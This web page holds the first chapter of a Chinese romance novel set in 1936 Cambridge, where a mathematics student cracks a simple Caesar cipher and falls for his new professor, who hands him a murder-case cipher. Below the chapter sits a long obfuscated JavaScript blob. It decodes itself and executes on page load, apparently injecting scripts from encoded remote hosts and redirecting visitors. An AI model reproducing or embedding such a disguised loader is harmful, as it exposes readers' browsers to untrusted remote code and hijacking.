关灯
护眼
字体:

1 第一章(第1页)

章节目录保存书签

战前的伦敦还算繁华,人们流连在剧院和酒吧,白兰地和葡萄酒的价格也没有飙到1940年的高价。而离伦敦只有九十英里的剑桥,在记忆中就更像一个世外天堂。

我被剑桥国王学院录取的时候叔父以为那又是一个恶作剧。他暴跳如雷,差点把封着红色火漆盖着剑桥印章的信封扔进炉子里。然而两个月以后我还是从贝德福德郡搭火车到伦敦,拖着行李箱挤出车站,搭上长途汽车,半路在剑桥跳下来。下车的瞬间,傍晚的霞光扑面而来,远处高耸的塔楼尖顶和礼堂落满温暖圣洁的橘黄色,耀眼得我几乎要用手指遮住眼睛。浮云之下,世界显得那么安宁美好。

我拿着介绍信费力的找到了灰鸽子街72号。房东是叔母的朋友,和善的伦敦单身老太太。两层红砖楼房,门前有白色栅栏围成的小花园,种满了金雀花。栅栏上斜挂了个送牛奶用的小木盒。

我在这里住寄住了五年,第二年我遇见了安得蒙,第四年他离开了我。然后我又在这里等了他一年。

我在剑桥国王学院学数学,成绩不算差。叔父说过,我是个除了数学什么都不会的白痴。遇到安得蒙后我才发现,原来和他比,我数学上也是白痴。

第一次见到安得蒙是在图书馆外的开满粉色小花的苹果树下。春天的剑桥很美,我抱着两本黄色小说从图书馆的拱门里出来,磨蹭着不想去见第二学年的新教授。高等数学据说换了学术界的大人物,不仅在数学逻辑学和量子力学上深有造诣,甚至对密码学都有涉猎,光得的奖项能把人压死。我对胡子拉碴的老头子没有兴趣,连逃了四次课。埃德加帮我点名被逮住了,告诉我教授说不想上课可以,但必须要带着期末要交的论文亲自去见他。(对了,埃德加是我朋友,学油画,经常代我去数学系的课堂点名。)

苹果树不高,安得蒙就站在树下,依着树干靠着,单手插在长裤口袋里,肩膀上落了几片细碎的花瓣。他身材高而瘦,穿着干净整洁的白衬衫,阳光透过花瓣和椭圆形的树叶洒在他身上,整个人像埃德加的油画,色调柔和而温暖。他身旁围绕着一圈学生,似乎在解答某个数学问题,埃德加也在里面。我挤了过去。

我入学是在1936年,当时□□势已经比较敏感,密码之类的东西一般很少有人公开讨论。我走过去时埃德加递给我一张纸,上面写着一长串数字。我皱着眉头认了半天,拖长调子念出来:“IloveProfessorAndemund。Wilson”。

周围一群人哄然大笑。埃德加的脸色白了又白,说:“艾伦,你不要开这种玩笑。”

我无辜摊手:“纸条上就是这么写的,我怎么会对那种老头子感兴趣。”

靠着树站着人突然插话:“他破译对了,这是个后移六位的凯撒密码,做了一次栅栏。这是今天一个女孩递给维森教授的。你是?”

“艾伦。艾伦。卡斯特。”我盯着他的脸迅速答道。

可能是因为常年在资料室不见阳光,他的脸显得比平常人要苍白。颧骨有些高,睫毛纤长,下面深绿色的眼睛像古董店里的猫眼石般好看。他笑的时候嘴角弯成一个恰到好处的弧线,刚刚够让我看到失神。

等我回过神时,我们已经一起坐在咖啡店里了。

他伸手端起咖啡,轻轻的抿一口:“你平时对密码有研究?”

他的声音很轻,让我想起在五月微风里悬挂在咖啡店旋转门外的玻璃风铃。

我耸耸肩:“不,我父母曾是密码研究员,给我留下过类似的书……小时候看过。而且今天这个密码又不难——所有字母往后移动五位,分成两行竖着读。”

“的确不难。”他似乎突然感兴趣了,碧绿色的眼睛狭起来:“原谅我冒昧,你的父母为哪个机构工作?”

“不知道。他们在我五岁时去世了。”我迫切的想换个话题:“嗨,你叫什么名字?在哪个学院?”

“你姓卡斯特。”他沉吟片刻:“卡斯特夫妇……似乎听起过。”

他匆匆起身,和我握了个手离开了。我默默叫来侍者付账,发现他走时已经付过了。

而且我沮丧的发现我还不知道他叫什么名字。

很快我就知道了。我去上了本学期第一节高等数学课,看见他夹着黑色皮质笔记本走进讲堂。他就是新来的,奖项压得死人的教授,全名安得蒙。维森,数学界响当当的人物。经过我身边时他停了一下,挑了挑左边眉毛:“艾伦,你欠了五堂课的作业没交。或许你愿意下课留下来和我谈谈?”

我可怜兮兮的问埃德加:“你觉得那天他听见我说他是老头子了吗?”

之后几个月安得蒙把我盯得特别紧。他是教授,上课点名第一个就是艾伦。卡斯特,交上去的作业改得前所未有的仔细,一旦上课走神就被叫起来回答各种问题。

我有气无力的跟埃德加说:“我觉得追他没希望了。”

埃德加的脸又白了:“你不要开玩笑。”

我们逃课在康河边上露天咖啡店喝下午茶:“我觉得亲爱的安得蒙宝贝讨厌我了,因为上次我说他是老头子。哦亲爱的,你不理解一见钟情的感觉,我的心都要碎了。”

埃德加很严肃:“同性恋是犯法的!”

他是个认真的人,待人有点拘谨,个子比我略高一点,粟色卷发,典型的希腊人鼻子,很讨姑娘喜欢。我们在康河边上认识的,我免费当他画画的模特,他帮我上课点名。

我调戏送咖啡的格子短裙女招待,他画画;我躺在草地上看书,他画画;我扯各种关于安得蒙的废话,他依然在一边画画——直到现在我都不是很理解为什么他这种性格一丝不苟的人竟然能跟我混在一起,还混成了挚友。

那时我以为自己对安得蒙也就是抱着玩玩而已的心理,埃德加也没把这件事当真。我平均每周追一个女人,只不过这次换成了男人。

我在白色躺椅上躺得很舒服,身上盖着一件旧外套。我对着太阳懒洋洋的睁开眼睛,突然就看到安得蒙的脸,吓得差点去见上帝。

已经是春天了,他还穿着浅灰色大衣,惯例夹着黑笔记本。他把我的每句话都听得很清楚,俯身笑眯眯的看我:“艾伦,同性恋在我们国家的确是法律禁止的。”

他从笔记本里给我一张纸,要我跟他走。我垂头丧气的跟在他后面,看见他的脖子从大衣领子里露出来,线条纤细优美。我小跑到他前面,拦住路:“教授,我是认真的。我喜欢你。”

他不置可否的笑笑,绕过我径自用铜钥匙开了办公室的门,把我留在外间,自己到里间打电话。

我听得不是很清楚。

“……父母都是前天才密码破译员……虽然很简单,但的确只看了一眼就破译出来了,所以我打算让他试试代号十三。我会把握分寸的。”

他挂了电话,把我叫进里间。我以为是要处罚我逃课,然而他却只让我看手上的纸片。我刚才只顾着看他,这才发现纸上都是各种各样难以理解的圆形和方框,星星和月亮。蓝墨水的图形一直画满了整页纸。“艾伦。”安得蒙示意我坐下:“如果你确实不想写那篇关于哥德尔定理的论述文的话,可以帮我试着看能不能破解这份密码。这是发生在伦敦的一起凶杀案,罪犯给报社寄送了这个。我朋友在苏格兰场,知道我对密码破译有研究,就把事情推给了我。”

他按铃叫了咖啡,看着我微微一笑:“我没破译出来,我想或许你可以试试。”

章节目录

!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();